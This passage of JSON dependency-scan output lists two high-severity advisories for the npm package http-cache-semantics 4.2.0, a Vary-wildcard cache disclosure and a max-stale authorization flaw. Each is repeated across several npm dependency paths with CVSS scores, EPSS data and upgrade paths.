"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@12.0.0",
"@npmcli/arborist@10.0.4",
"@npmcli/metavuln-calculator@10.0.0",
"pacote@22.0.0",
"sigstore@5.0.0",
"@sigstore/tuf@5.0.0",
"tuf-js@6.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@12.0.0",
"@npmcli/arborist@10.0.4",
"@npmcli/metavuln-calculator@10.0.0",
"pacote@22.0.0",
"sigstore@5.0.0",
"@sigstore/tuf@5.0.0",
"tuf-js@6.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@12.0.0",
"libnpmdiff@9.0.4",
"@npmcli/arborist@10.0.4",
"pacote@22.0.0",
"sigstore@5.0.0",
"@sigstore/tuf@5.0.0",
"tuf-js@6.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@12.0.0",
"libnpmdiff@9.0.4",
"@npmcli/arborist@10.0.4",
"pacote@22.0.0",
"sigstore@5.0.0",
"@sigstore/tuf@5.0.0",
"tuf-js@6.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@12.0.0",
"libnpmexec@11.0.4",
"@npmcli/arborist@10.0.4",
"pacote@22.0.0",
"sigstore@5.0.0",
"@sigstore/tuf@5.0.0",
"tuf-js@6.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@12.0.0",
"libnpmexec@11.0.4",
"@npmcli/arborist@10.0.4",
"pacote@22.0.0",
"sigstore@5.0.0",
"@sigstore/tuf@5.0.0",
"tuf-js@6.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
